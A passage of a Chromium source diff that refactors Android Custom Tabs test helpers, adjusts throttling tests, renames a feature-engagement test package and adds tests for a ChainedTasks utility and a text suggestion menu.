         final CallbackHelper onPostMessageHelper = new CallbackHelper();
         final String url = mWebServer.setResponse("/test.html", MESSAGE_FROM_PAGE_TO_CHANNEL, null);
-        warmUpAndWait();
+        CustomTabsTestUtils.warmUpAndWait();
         final CustomTabsSession session = bindWithCallback(new CustomTabsCallback() {
             @Override
             public void onMessageChannelReady(Bundle extras) {
@@ -1617,7 +1615,7 @@
         final CallbackHelper messageChannelHelper = new CallbackHelper();
         final String url =
                 mWebServer.setResponse("/test.html", TITLE_FROM_POSTMESSAGE_TO_CHANNEL, null);
-        final CustomTabsConnection connection = warmUpAndWait();
+        final CustomTabsConnection connection = CustomTabsTestUtils.warmUpAndWait();
 
         final CustomTabsSession session = bindWithCallback(new CustomTabsCallback() {
             @Override
@@ -1731,7 +1729,7 @@
     @SmallTest
     @RetryOnFailure
     public void testPrecreatedRenderer() throws Exception {
-        CustomTabsConnection connection = warmUpAndWait();
+        CustomTabsConnection connection = CustomTabsTestUtils.warmUpAndWait();
         Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
         Intent intent = CustomTabsTestUtils.createMinimalCustomTabIntent(context, mTestPage);
         CustomTabsSessionToken token = CustomTabsSessionToken.getSessionTokenFromIntent(intent);
@@ -1802,7 +1800,7 @@
     @Restriction(ChromeRestriction.RESTRICTION_TYPE_PHONE)
     @CommandLineFlags.Add(ChromeSwitches.DISABLE_FIRST_RUN_EXPERIENCE)
     public void testWarmupAndLaunchRegularChrome() {
-        warmUpAndWait();
+        CustomTabsTestUtils.warmUpAndWait();
         Intent intent = new Intent(InstrumentationRegistry.getInstrumentation().getTargetContext(),
                 ChromeLauncherActivity.class);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
@@ -1830,7 +1828,7 @@
     @Restriction(ChromeRestriction.RESTRICTION_TYPE_PHONE)
     @CommandLineFlags.Add(ChromeSwitches.DISABLE_FIRST_RUN_EXPERIENCE)
     public void testWarmupAndLaunchRightToolbarLayout() {
-        warmUpAndWait();
+        CustomTabsTestUtils.warmUpAndWait();
         mCustomTabActivityTestRule.startActivityCompletely(createMinimalCustomTabIntent());
         Assert.assertNull("Should not have a tab switcher button.",
                 getActivity().findViewById(R.id.tab_switcher_button));
@@ -1969,7 +1967,7 @@
         Context context = InstrumentationRegistry.getInstrumentation()
                                   .getTargetContext()
                                   .getApplicationContext();
-        CustomTabsConnection connection = warmUpAndWait();
+        CustomTabsConnection connection = CustomTabsTestUtils.warmUpAndWait();
         Intent intent = CustomTabsTestUtils.createMinimalCustomTabIntent(context, urlWithFragment);
         CustomTabsSessionToken token = CustomTabsSessionToken.getSessionTokenFromIntent(intent);
         connection.newSession(token);
@@ -2067,7 +2065,7 @@
     @CommandLineFlags.Add({ChromeSwitches.DISABLE_FIRST_RUN_EXPERIENCE,
             "enable-features=" + ChromeFeatureList.CCT_BACKGROUND_TAB})
     public void testHiddenTabThirdPartyCookiesBlocked() throws Exception {
-        final CustomTabsConnection connection = warmUpAndWait();
+        final CustomTabsConnection connection = CustomTabsTestUtils.warmUpAndWait();
         final CustomTabsSessionToken token =
                 CustomTabsSessionToken.createDummySessionTokenForTesting();
         connection.newSession(token);
@@ -2099,7 +2097,7 @@
         Context context = InstrumentationRegistry.getInstrumentation()
                                   .getTargetContext()
                                   .getApplicationContext();
-        final CustomTabsConnection connection = warmUpAndWait();
+        final CustomTabsConnection connection = CustomTabsTestUtils.warmUpAndWait();
         CustomTabsSessionToken token = CustomTabsSessionToken.createDummySessionTokenForTesting();
         connection.newSession(token);
         connection.setSpeculationModeForSession(token, requestedSpeculationMode);
@@ -2139,7 +2137,7 @@
     }
 
     private void testSpeculateInvalidUrl(int speculationMode) throws Exception {
-        final CustomTabsConnection connection = warmUpAndWait();
+        final CustomTabsConnection connection = CustomTabsTestUtils.warmUpAndWait();
         CustomTabsSessionToken token = CustomTabsSessionToken.createDummySessionTokenForTesting();
         connection.newSession(token);
         connection.setSpeculationModeForSession(token, speculationMode);
@@ -2158,7 +2156,7 @@
         Context context = InstrumentationRegistry.getInstrumentation()
                                   .getTargetContext()
                                   .getApplicationContext();
-        final CustomTabsConnection connection = warmUpAndWait();
+        final CustomTabsConnection connection = CustomTabsTestUtils.warmUpAndWait();
         CustomTabsSessionToken token = CustomTabsSessionToken.createDummySessionTokenForTesting();
         connection.newSession(token);
         try {
@@ -2223,7 +2221,7 @@
         Context context = InstrumentationRegistry.getInstrumentation()
                                   .getTargetContext()
                                   .getApplicationContext();
-        final CustomTabsConnection connection = warmUpAndWait();
+        final CustomTabsConnection connection = CustomTabsTestUtils.warmUpAndWait();
         CustomTabsSessionToken token = CustomTabsSessionToken.createDummySessionTokenForTesting();
         connection.newSession(token);
         connection.setSpeculationModeForSession(token, speculationMode);
@@ -2250,7 +2248,7 @@
         Context context = InstrumentationRegistry.getInstrumentation()
                                   .getTargetContext()
                                   .getApplicationContext();
-        warmUpAndWait();
+        CustomTabsTestUtils.warmUpAndWait();
 
         try {
             mCustomTabActivityTestRule.startCustomTabActivityWithIntent(
@@ -2557,7 +2555,7 @@
         CustomTabsSessionToken token = null;
         Intent intent = CustomTabsTestUtils.createMinimalCustomTabIntent(context, url);
         if (speculationMode != CustomTabsConnection.SpeculationParams.NO_SPECULATION) {
-            connection = warmUpAndWait();
+            connection = CustomTabsTestUtils.warmUpAndWait();
             token = CustomTabsSessionToken.getSessionTokenFromIntent(intent);
             connection.newSession(token);
             connection.setSpeculationModeForSession(token, speculationMode);
@@ -2650,7 +2648,7 @@
             throws Exception {
         String speculationUrl = mTestPage;
         String navigationUrl = speculationWasAHit ? mTestPage : mTestPage2;
-        final CustomTabsConnection connection = warmUpAndWait();
+        final CustomTabsConnection connection = CustomTabsTestUtils.warmUpAndWait();
         Context context = InstrumentationRegistry.getInstrumentation()
                                   .getTargetContext()
                                   .getApplicationContext();
@@ -2697,36 +2695,6 @@
         Assert.assertEquals(mTestPage, tab.getUrl());
     }
 
-    private CustomTabsConnection warmUpAndWait() {
-        CustomTabsConnection connection = CustomTabsTestUtils.setUpConnection();
-        final CallbackHelper startupCallbackHelper = new CallbackHelper();
-        Assert.assertTrue(connection.warmup(0));
-        ThreadUtils.runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                BrowserStartupController.get(LibraryProcessType.PROCESS_BROWSER)
-                        .addStartupCompletedObserver(new StartupCallback() {
-                            @Override
-                            public void onSuccess(boolean alreadyStarted) {
-                                startupCallbackHelper.notifyCalled();
-                            }
-
-                            @Override
-                            public void onFailure() {
-                                Assert.fail();
-                            }
-                        });
-            }
-        });
-
-        try {
-            startupCallbackHelper.waitForCallback(0);
-        } catch (TimeoutException | InterruptedException e) {
-            Assert.fail();
-        }
-        return connection;
-    }
-
     private ChromeActivity reparentAndVerifyTab() throws InterruptedException {
         ActivityResult result = null;
         final ActivityMonitor monitor = InstrumentationRegistry.getInstrumentation().addMonitor(
@@ -2781,7 +2749,7 @@
 
     private CustomTabsSessionToken warmUpAndLaunchUrlWithSession(Intent intentWithSession)
             throws InterruptedException {
-        CustomTabsConnection connection = warmUpAndWait();
+        CustomTabsConnection connection = CustomTabsTestUtils.warmUpAndWait();
         CustomTabsSessionToken token =
                 CustomTabsSessionToken.getSessionTokenFromIntent(intentWithSession);
         connection.newSession(token);
diff --git a/chrome/android/javatests/src/org/chromium/chrome/browser/customtabs/CustomTabsConnectionTest.java b/chrome/android/javatests/src/org/chromium/chrome/browser/customtabs/CustomTabsConnectionTest.java
index 019b02b..26278c0 100644
--- a/chrome/android/javatests/src/org/chromium/chrome/browser/customtabs/CustomTabsConnectionTest.java
+++ b/chrome/android/javatests/src/org/chromium/chrome/browser/customtabs/CustomTabsConnectionTest.java
@@ -58,7 +58,6 @@
         PathUtils.setPrivateDataDirectorySuffix(PRIVATE_DATA_DIRECTORY_SUFFIX);
         LibraryLoader.get(LibraryProcessType.PROCESS_BROWSER).ensureInitialized();
         mCustomTabsConnection = CustomTabsTestUtils.setUpConnection();
-        mCustomTabsConnection.resetThrottling(Process.myUid());
     }
 
     @After
@@ -104,15 +103,15 @@
     @Test
     @SmallTest
     public void testCanWarmup() {
-        Assert.assertEquals(true, mCustomTabsConnection.warmup(0));
-        Assert.assertEquals(true, mCustomTabsConnection.warmup(0));
+        CustomTabsTestUtils.warmUpAndWait();
+        CustomTabsTestUtils.warmUpAndWait();
     }
 
     @Test
     @SmallTest
     @Restriction(RESTRICTION_TYPE_NON_LOW_END_DEVICE)
     public void testCreateSpareRenderer() {
-        Assert.assertTrue(mCustomTabsConnection.warmup(0));
+        CustomTabsTestUtils.warmUpAndWait();
         // On UI thread because:
         // 1. takeSpareWebContents needs to be called from the UI thread.
         // 2. warmup() is non-blocking and posts tasks to the UI thread, it ensures proper ordering.
@@ -133,7 +132,7 @@
     @SmallTest
     @Restriction(RESTRICTION_TYPE_NON_LOW_END_DEVICE)
     public void testCreateSpareRendererCanBeRecreated() {
-        Assert.assertTrue(mCustomTabsConnection.warmup(0));
+        CustomTabsTestUtils.warmUpAndWait();
         ThreadUtils.runOnUiThreadBlocking(new Runnable() {
             @Override
             public void run() {
@@ -141,7 +140,7 @@
                 Assert.assertFalse(WarmupManager.getInstance().hasSpareWebContents());
             }
         });
-        Assert.assertTrue(mCustomTabsConnection.warmup(0));
+        CustomTabsTestUtils.warmUpAndWait();
         ThreadUtils.runOnUiThreadBlocking(new Runnable() {
             @Override
             public void run() {
@@ -199,7 +198,7 @@
     @SmallTest
     @Restriction(RESTRICTION_TYPE_NON_LOW_END_DEVICE)
     public void testMayLaunchUrlKeepsSpareRendererWithoutPrerendering() {
-        Assert.assertTrue(mCustomTabsConnection.warmup(0));
+        CustomTabsTestUtils.warmUpAndWait();
         final CustomTabsSessionToken token =
                 CustomTabsSessionToken.createDummySessionTokenForTesting();
         Assert.assertTrue(mCustomTabsConnection.newSession(token));
@@ -312,7 +311,7 @@
         final CustomTabsSessionToken token =
                 CustomTabsSessionToken.createDummySessionTokenForTesting();
         Assert.assertTrue(mCustomTabsConnection.newSession(token));
-        Assert.assertTrue(mCustomTabsConnection.warmup(0));
+        CustomTabsTestUtils.warmUpAndWait();
 
         final List<Bundle> urlsAsString = new ArrayList<>();
         Bundle urlStringBundle = new Bundle();
@@ -339,7 +338,7 @@
         final CustomTabsSessionToken token =
                 CustomTabsSessionToken.createDummySessionTokenForTesting();
         Assert.assertTrue(mCustomTabsConnection.newSession(token));
-        Assert.assertTrue(mCustomTabsConnection.warmup(0));
+        CustomTabsTestUtils.warmUpAndWait();
 
         final List<Bundle> invalidBundles = new ArrayList<>();
         Bundle invalidBundle = new Bundle();
@@ -387,7 +386,7 @@
     @SmallTest
     @Restriction(RESTRICTION_TYPE_NON_LOW_END_DEVICE)
     public void testPrefetchOnlyNoPrerenderHasSpareWebContents() {
-        Assert.assertTrue(mCustomTabsConnection.warmup(0));
+        CustomTabsTestUtils.warmUpAndWait();
         final CustomTabsSessionToken token =
                 CustomTabsSessionToken.createDummySessionTokenForTesting();
         Assert.assertTrue(mCustomTabsConnection.newSession(token));
@@ -418,6 +417,9 @@
             }
         });
 
+        // Two mayLaunchUrl() can be called so close to each other they get throttled.
+        CustomTabsConnection.getInstance().resetThrottling(Process.myUid());
+
         Assert.assertTrue(mCustomTabsConnection.mayLaunchUrl(token, null, null, null));
         // mayLaunchUrl() posts a task, the following has to run after it.
         ThreadUtils.runOnUiThreadBlocking(new Runnable() {
@@ -441,7 +443,7 @@
      */
     private CustomTabsSessionToken assertWarmupAndMayLaunchUrl(
             CustomTabsSessionToken token, String url, boolean shouldSucceed) {
-        mCustomTabsConnection.warmup(0);
+        CustomTabsTestUtils.warmUpAndWait();
         if (token == null) {
             token = CustomTabsSessionToken.createDummySessionTokenForTesting();
             mCustomTabsConnection.newSession(token);
@@ -574,9 +576,10 @@
     @SmallTest
     public void testThrottlingIsReset() {
         CustomTabsSessionToken token = assertWarmupAndMayLaunchUrl(null, URL, true);
-        mCustomTabsConnection.mayLaunchUrl(token, Uri.parse(URL), null, null);
         // Depending on the timing, the delay should be 100 or 200ms here.
-        assertWarmupAndMayLaunchUrl(token, URL, false);
+        assertWarmupAndMayLaunchUrl(token, URL, true);
+        // assertWarmUpAndMayLaunchUrl() can take longer than the throttling delay.
+        Assert.assertFalse(mCustomTabsConnection.mayLaunchUrl(token, Uri.parse(URL), null, null));
         // Wait for more than 2 * MAX_POSSIBLE_DELAY to clear the delay
         try {
             Thread.sleep(450); // 2 * MAX_POSSIBLE_DELAY + 50ms
@@ -608,7 +611,7 @@
         for (int i = 0; i < 10; i++) {
             mCustomTabsConnection.mayLaunchUrl(token, Uri.parse(URL), null, null);
         }
-        assertWarmupAndMayLaunchUrl(token2, URL, false);
+        Assert.assertFalse(mCustomTabsConnection.mayLaunchUrl(token2, Uri.parse(URL), null, null));
     }
 
     @Test
@@ -662,7 +665,7 @@
         CustomTabsSessionToken token = CustomTabsSessionToken.createDummySessionTokenForTesting();
         Assert.assertTrue(mCustomTabsConnection.newSession(token));
         mCustomTabsConnection.setShouldPrerenderOnCellularForSession(token, true);
-        mCustomTabsConnection.warmup(0);
+        CustomTabsTestUtils.warmUpAndWait();
 
         // Needs the browser process to be initialized.
         FutureTask<Boolean> result = ThreadUtils.runOnUiThread(new Callable<Boolean>() {
@@ -702,7 +705,7 @@
                 CustomTabsSessionToken.createDummySessionTokenForTesting();
         Assert.assertTrue(mCustomTabsConnection.newSession(token));
         mCustomTabsConnection.setShouldPrerenderOnCellularForSession(token, true);
-        mCustomTabsConnection.warmup(0);
+        CustomTabsTestUtils.warmUpAndWait();
 
         Assert.assertTrue(mCustomTabsConnection.mayLaunchUrl(token, Uri.parse(URL), null, null));
         ThreadUtils.runOnUiThreadBlocking(new Runnable() {
@@ -728,7 +731,7 @@
                 CustomTabsSessionToken.createDummySessionTokenForTesting();
         Assert.assertTrue(mCustomTabsConnection.newSession(token));
         mCustomTabsConnection.setShouldPrerenderOnCellularForSession(token, true);
-        mCustomTabsConnection.warmup(0);
+        CustomTabsTestUtils.warmUpAndWait();
 
         Assert.assertTrue(mCustomTabsConnection.mayLaunchUrl(token, Uri.parse(URL), null, null));
         ThreadUtils.runOnUiThreadBlocking(new Runnable() {
diff --git a/chrome/android/javatests/src/org/chromium/chrome/browser/customtabs/CustomTabsTestUtils.java b/chrome/android/javatests/src/org/chromium/chrome/browser/customtabs/CustomTabsTestUtils.java
index 2ef94b17..704912e 100644
--- a/chrome/android/javatests/src/org/chromium/chrome/browser/customtabs/CustomTabsTestUtils.java
+++ b/chrome/android/javatests/src/org/chromium/chrome/browser/customtabs/CustomTabsTestUtils.java
@@ -12,9 +12,14 @@
 import android.support.customtabs.CustomTabsIntent;
 import android.support.customtabs.CustomTabsSession;
 
+import org.junit.Assert;
+
 import org.chromium.base.ThreadUtils;
+import org.chromium.base.test.util.CallbackHelper;
 import org.chromium.chrome.browser.document.ChromeLauncherActivity;
 
+import java.util.concurrent.TimeoutException;
+
 /**
  * Utility class that contains convenience calls related with custom tabs testing.
  */
@@ -51,4 +56,25 @@
             }
         });
     }
+
+    /** Calls warmup() and waits for all the tasks to complete. Fails the test otherwise. */
+    public static CustomTabsConnection warmUpAndWait() {
+        CustomTabsConnection connection = setUpConnection();
+        try {
+            final CallbackHelper startupCallbackHelper = new CallbackHelper();
+            connection.setWarmupCompletedCallbackForTesting(new Runnable() {
+                @Override
+                public void run() {
+                    startupCallbackHelper.notifyCalled();
+                }
+            });
+            Assert.assertTrue(connection.warmup(0));
+            startupCallbackHelper.waitForCallback(0);
+        } catch (TimeoutException | InterruptedException e) {
+            Assert.fail();
+        } finally {
+            connection.setWarmupCompletedCallbackForTesting(null);
+        }
+        return connection;
+    }
 }
diff --git a/chrome/android/javatests/src/org/chromium/chrome/browser/feature_engagement_tracker/ScreenshotMonitorTest.java b/chrome/android/javatests/src/org/chromium/chrome/browser/feature_engagement/ScreenshotMonitorTest.java
similarity index 95%
rename from chrome/android/javatests/src/org/chromium/chrome/browser/feature_engagement_tracker/ScreenshotMonitorTest.java
rename to chrome/android/javatests/src/org/chromium/chrome/browser/feature_engagement/ScreenshotMonitorTest.java
index 68e8556..061da82a 100644
--- a/chrome/android/javatests/src/org/chromium/chrome/browser/feature_engagement_tracker/ScreenshotMonitorTest.java
+++ b/chrome/android/javatests/src/org/chromium/chrome/browser/feature_engagement/ScreenshotMonitorTest.java
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-package org.chromium.chrome.browser.feature_engagement_tracker;
+package org.chromium.chrome.browser.feature_engagement;
 
 import android.os.FileObserver;
 import android.support.test.filters.SmallTest;
@@ -95,7 +95,7 @@
      */
     @Test
     @SmallTest
-    @Feature({"FeatureEngagementTracker", "Screenshot"})
+    @Feature({"FeatureEngagement", "Screenshot"})
     public void testStartMonitoringShouldTriggerDelegate() throws Throwable {
         Assert.assertEquals(0, mTestFileObserver.watchingCount.get());
 
@@ -115,7 +115,7 @@
      */
     @Test
     @SmallTest
-    @Feature({"FeatureEngagementTracker", "Screenshot"})
+    @Feature({"FeatureEngagement", "Screenshot"})
     public void testMultipleStartMonitoringShouldTriggerDelegate() throws Throwable {
         Assert.assertEquals(0, mTestFileObserver.watchingCount.get());
 
@@ -132,7 +132,7 @@
      */
     @Test
     @SmallTest
-    @Feature({"FeatureEngagementTracker", "Screenshot"})
+    @Feature({"FeatureEngagement", "Screenshot"})
     public void testMultipleStopMonitoringShouldNotTriggerDelegate() throws Throwable {
         Assert.assertEquals(0, mTestFileObserver.watchingCount.get());
 
@@ -150,7 +150,7 @@
      */
     @Test
     @SmallTest
-    @Feature({"FeatureEngagementTracker", "Screenshot"})
+    @Feature({"FeatureEngagement", "Screenshot"})
     public void testMultipleStartMonitoringThenStopShouldNotTriggerDelegate() throws Throwable {
         Assert.assertEquals(0, mTestFileObserver.watchingCount.get());
         Assert.assertEquals(0, mTestScreenshotMonitorDelegate.screenshotShowUiCount.get());
@@ -168,7 +168,7 @@
      */
     @Test
     @SmallTest
-    @Feature({"FeatureEngagementTracker", "Screenshot"})
+    @Feature({"FeatureEngagement", "Screenshot"})
     public void testMultipleStopMonitoringThenStartShouldTriggerDelegate() throws Throwable {
         Assert.assertEquals(0, mTestFileObserver.watchingCount.get());
 
@@ -185,7 +185,7 @@
      */
     @Test
     @SmallTest
-    @Feature({"FeatureEngagementTracker", "Screenshot"})
+    @Feature({"FeatureEngagement", "Screenshot"})
     public void testRestartShouldTriggerDelegate() throws Throwable {
         Assert.assertEquals(0, mTestFileObserver.watchingCount.get());
 
@@ -213,7 +213,7 @@
      */
     @Test
     @SmallTest
-    @Feature({"FeatureEngagementTracker", "Screenshot"})
+    @Feature({"FeatureEngagement", "Screenshot"})
     public void testStopMonitoringShouldNotTriggerDelegate() throws Throwable {
         Assert.assertEquals(0, mTestFileObserver.watchingCount.get());
 
@@ -233,7 +233,7 @@
      */
     @Test
     @SmallTest
-    @Feature({"FeatureEngagementTracker", "Screenshot"})
+    @Feature({"FeatureEngagement", "Screenshot"})
     public void testNoMonitoringShouldNotTriggerDelegate() throws Throwable {
         Assert.assertEquals(0, mTestFileObserver.watchingCount.get());
         Assert.assertEquals(0, mTestScreenshotMonitorDelegate.screenshotShowUiCount.get());
diff --git a/chrome/android/javatests/src/org/chromium/chrome/browser/init/ChainedTasksTest.java b/chrome/android/javatests/src/org/chromium/chrome/browser/init/ChainedTasksTest.java
new file mode 100644
index 0000000..12b9ce0
--- /dev/null
+++ b/chrome/android/javatests/src/org/chromium/chrome/browser/init/ChainedTasksTest.java
@@ -0,0 +1,208 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+package org.chromium.chrome.browser.init;
+
+import android.support.test.filters.SmallTest;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import org.chromium.base.ThreadUtils;
+import org.chromium.base.test.BaseJUnit4ClassRunner;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests for {@link ChainedTasks}.
+ */
+@RunWith(BaseJUnit4ClassRunner.class)
+public class ChainedTasksTest {
+    private static final long TIMEOUT_MS = 1000;
+
+    private static final class TestRunnable implements Runnable {
+        private final List<String> mLogMessages;
+        private final String mMessage;
+
+        public TestRunnable(List<String> logMessages, String message) {
+            mLogMessages = logMessages;
+            mMessage = message;
+        }
+
+        @Override
+        public void run() {
+            mLogMessages.add(mMessage);
+        }
+    }
+
+    @Test
+    @SmallTest
+    public void testCoalescedTasks() {
+        final List<String> expectedMessages =
+                Arrays.asList(new String[] {"First", "Second", "Third"});
+        final List<String> messages = new ArrayList<>();
+        final ChainedTasks tasks = new ChainedTasks();
+        for (String message : expectedMessages) tasks.add(new TestRunnable(messages, message));
+
+        ThreadUtils.runOnUiThreadBlocking(new Runnable() {
+            @Override
+            public void run() {
+                tasks.start(true);
+                Assert.assertEquals(expectedMessages, messages);
+            }
+        });
+    }
+
+    @Test
+    @SmallTest
+    public void testCoalescedTasksDontBlockNonUiThread() throws Exception {
+        final Semaphore waitForIt = new Semaphore(0);
+        final Semaphore finished = new Semaphore(0);
+        final ChainedTasks tasks = new ChainedTasks();
+
+        tasks.add(new Runnable() {
+            @Override
+            public void run() {
+                try {
+                    waitForIt.acquire();
+                } catch (InterruptedException e) {
+                    throw new RuntimeException();
+                }
+            }
+        });
+
+        List<String> expectedMessages = Arrays.asList(new String[] {"First", "Second", "Third"});
+        final List<String> messages = new ArrayList<>();
+        for (String message : expectedMessages) tasks.add(new TestRunnable(messages, message));
+        tasks.add(new Runnable() {
+            @Override
+            public void run() {
+                finished.release();
+            }
+        });
+
+        tasks.start(true);
+        // If start() were blocking, then this would be a deadlock, as the first task acquires a
+        // semaphore that we are releasing later on the same thread.
+        waitForIt.release();
+        Assert.assertTrue(finished.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        Assert.assertEquals(expectedMessages, messages);
+    }
+
+    @Test
+    @SmallTest
+    public void testAsyncTasks() throws Exception {
+        List<String> expectedMessages = Arrays.asList(new String[] {"First", "Second", "Third"});
+        final List<String> messages = new ArrayList<>();
+        final ChainedTasks tasks = new ChainedTasks();
+        final Semaphore finished = new Semaphore(0);
+
+        for (String message : expectedMessages) tasks.add(new TestRunnable(messages, message));
+        tasks.add(new Runnable() {
+            @Override
+            public void run() {
+                finished.release();
+            }
+        });
+
+        ThreadUtils.runOnUiThreadBlocking(new Runnable() {
+            @Override
+            public void run() {
+                tasks.start(false);
+                Assert.assertTrue("No task should run synchronously", messages.isEmpty());
+            }
+        });
+        Assert.assertTrue(finished.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        Assert.assertEquals(expectedMessages, messages);
+    }
+
+    @Test
+    @SmallTest
+    public void testAsyncTasksAreChained() throws Exception {
+        List<String> expectedMessages =
+                Arrays.asList(new String[] {"First", "Second", "High Priority", "Third"});
+        final List<String> messages = new ArrayList<>();
+        final ChainedTasks tasks = new ChainedTasks();
+        final Semaphore secondTaskFinished = new Semaphore(0);
+        final Semaphore waitForHighPriorityTask = new Semaphore(0);
+        final Semaphore finished = new Semaphore(0);
+
+        // Posts 2 tasks, waits for a high priority task to be posted from another thread, and
+        // carries on.
+        tasks.add(new TestRunnable(messages, "First"));
+        tasks.add(new TestRunnable(messages, "Second"));
+        tasks.add(new Runnable() {
+            @Override
+            public void run() {
+                try {
+                    secondTaskFinished.release();
+                    waitForHighPriorityTask.acquire();
+                } catch (InterruptedException e) {
+                    Assert.fail();
+                }
+            }
+        });
+        tasks.add(new TestRunnable(messages, "Third"));
+        tasks.add(new Runnable() {
+            @Override
+            public void run() {
+                finished.release();
+            }
+        });
+
+        tasks.start(false);
+        Assert.assertTrue(secondTaskFinished.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        ThreadUtils.postOnUiThread(new TestRunnable(messages, "High Priority"));
+        waitForHighPriorityTask.release();
+
+        Assert.assertTrue(finished.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        Assert.assertEquals(expectedMessages, messages);
+    }
+
+    @Test
+    @SmallTest
+    public void testCanCancel() throws Exception {
+        List<String> expectedMessages = Arrays.asList(new String[] {"First", "Second"});
+        final List<String> messages = new ArrayList<>();
+        final ChainedTasks tasks = new ChainedTasks();
+        final Semaphore finished = new Semaphore(0);
+
+        tasks.add(new TestRunnable(messages, "First"));
+        tasks.add(new TestRunnable(messages, "Second"));
+        tasks.add(new Runnable() {
+            @Override
+            public void run() {
+                tasks.cancel();
+            }
+        });
+        tasks.add(new TestRunnable(messages, "Third"));
+        tasks.add(new Runnable() {
+            @Override
+            public void run() {
+                finished.release();
+            }
+        });
+        tasks.start(false);
+        Assert.assertFalse(finished.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        Assert.assertEquals(expectedMessages, messages);
+    }
+
+    @Test
+    @SmallTest
+    public void testThreadRestrictions() throws Exception {
+        ChainedTasks tasks = new ChainedTasks();
+        tasks.start(false);
+        try {
+            tasks.cancel();
+            Assert.fail("Cancel should not be callable from a non-UI thread");
+        } catch (IllegalStateException e) {
+            // Expected.
+        }
+    }
+}
diff --git a/chrome/android/javatests/src/org/chromium/chrome/browser/input/TextSuggestionMenuTest.java b/chrome/android/javatests/src/org/chromium/chrome/browser/input/TextSuggestionMenuTest.java
index f3db74c..6ceccb7 100644
--- a/chrome/android/javatests/src/org/chromium/chrome/browser/input/TextSuggestionMenuTest.java
+++ b/chrome/android/javatests/src/org/chromium/chrome/browser/input/TextSuggestionMenuTest.java
@@ -13,6 +13,7 @@
 import org.chromium.chrome.test.ChromeActivityTestCaseBase;
 import org.chromium.content.R;
 import org.chromium.content.browser.ContentViewCore;
+import org.chromium.content.browser.input.SuggestionsPopupWindow;
 import org.chromium.content.browser.test.util.Criteria;
 import org.chromium.content.browser.test.util.CriteriaHelper;
 import org.chromium.content.browser.test.util.DOMUtils;
@@ -47,15 +48,29 @@
         CriteriaHelper.pollUiThread(new Criteria() {
             @Override
             public boolean isSatisfied() {
-                return cvc.getTextSuggestionHostForTesting().getSuggestionsPopupWindowForTesting()
-                        != null;
+                SuggestionsPopupWindow suggestionsPopupWindow =
+                        cvc.getTextSuggestionHostForTesting().getSuggestionsPopupWindowForTesting();
+                if (suggestionsPopupWindow == null) {
+                    return false;
+                }
+
+                // On some test runs, even when suggestionsPopupWindow is non-null and
+                // suggestionsPopupWindow.isShowing() returns true, the delete button hasn't been
+                // measured yet and getWidth()/getHeight() return 0. This causes the menu button
+                // click to instead fall on the "Add to dictionary" button. So we have to check that
+                // this isn't happening.
+                return getDeleteButton(cvc).getWidth() != 0;
             }
         });
 
-        View view = cvc.getTextSuggestionHostForTesting()
-                            .getSuggestionsPopupWindowForTesting()
-                            .getContentViewForTesting();
-        TouchCommon.singleClickView(view.findViewById(R.id.deleteButton));
+        TouchCommon.singleClickView(getDeleteButton(cvc));
         Assert.assertEquals("", DOMUtils.getNodeContents(cvc.getWebContents(), "div"));
     }
+
+    private View getDeleteButton(ContentViewCore cvc) {
+        View contentView = cvc.getTextSuggestionHostForTesting()
+                                   .getSuggestionsPopupWindowForTesting()
+                                   .getContentViewForTesting();
+        return contentView.findViewById(R.id.deleteButton);
+    }
 }
diff --git a/chrome/android/javatests/src/org/chromium/chrome/browser/ntp/NewTabPageTest.java b/chrome/android/javatests/src/org/chromium/chrome/browser/ntp/NewTabPageTest.java
index d22466c..ca88549 100644
--- a/chrome/android/javatests/src/org/chromium/chrome/browser/ntp/NewTabPageTest.java
+++ b/chrome/android/javatests/src/org/chromium/chrome/browser/ntp/NewTabPageTest.java
@@ -33,6 +33,7 @@
 import org.chromium.chrome.browser.ntp.cards.NewTabPageRecyclerView;
 import org.chromium.chrome.browser.omnibox.LocationBarLayout;
 import org.chromium.chrome.browser.omnibox.UrlBar;
+import org.chromium.chrome.browser.preferences.ChromePreferenceManager;
 import org.chromium.chrome.browser.suggestions.FakeMostVisitedSites;
 import org.chromium.chrome.browser.suggestions.TileSource;
 import org.chromium.chrome.browser.tab.EmptyTabObserver;
@@ -100,6 +101,9 @@
 
     @Before
     public void setUp() throws Exception {
+        // Disable peeking card animation.
+        ChromePreferenceManager.getInstance().setNewTabPageFirstCardAnimationRunCount(100);
+
         mTestServer = EmbeddedTestServer.createAndStartServer(
                 InstrumentationRegistry.getInstrumentation().getContext());
 
@@ -133,6 +137,7 @@
     @MediumTest
     @Feature({"NewTabPage", "RenderTest"})
     public void testRender() throws IOException {
+        mActivityTestRule.getInstrumentation().waitForIdleSync();
         mRenderTestRule.render(mTileGridLayout, "most_visited");
         mRenderTestRule.render(mFakebox, "fakebox");
         mRenderTestRule.render(mNtp.getView().getRootView(), "new_tab_page");
diff --git a/chrome/android/javatests/src/org/chromium/chrome/browser/omnibox/geo/GeolocationHeaderTest.java b/chrome/android/javatests/src/org/chromium/chrome/browser/omnibox/geo/GeolocationHeaderTest.java
index 0d99646e..f378d9f 100644
--- a/chrome/android/javatests/src/org/chromium/chrome/browser/omnibox/geo/GeolocationHeaderTest.java
+++ b/chrome/android/javatests/src/org/chromium/chrome/browser/omnibox/geo/GeolocationHeaderTest.java
@@ -32,14 +32,11 @@
 public class GeolocationHeaderTest extends ChromeActivityTestCaseBase<ChromeActivity> {
     private static final String SEARCH_URL_1 = "https://www.google.com/search?q=potatoes";
     private static final String SEARCH_URL_2 = "https://www.google.co.jp/webhp?#q=dinosaurs";
-    private static final String ENABLE_CONSISTENT_GEOLOCATION_FEATURE =
-            "enable-features=ConsistentOmniboxGeolocation";
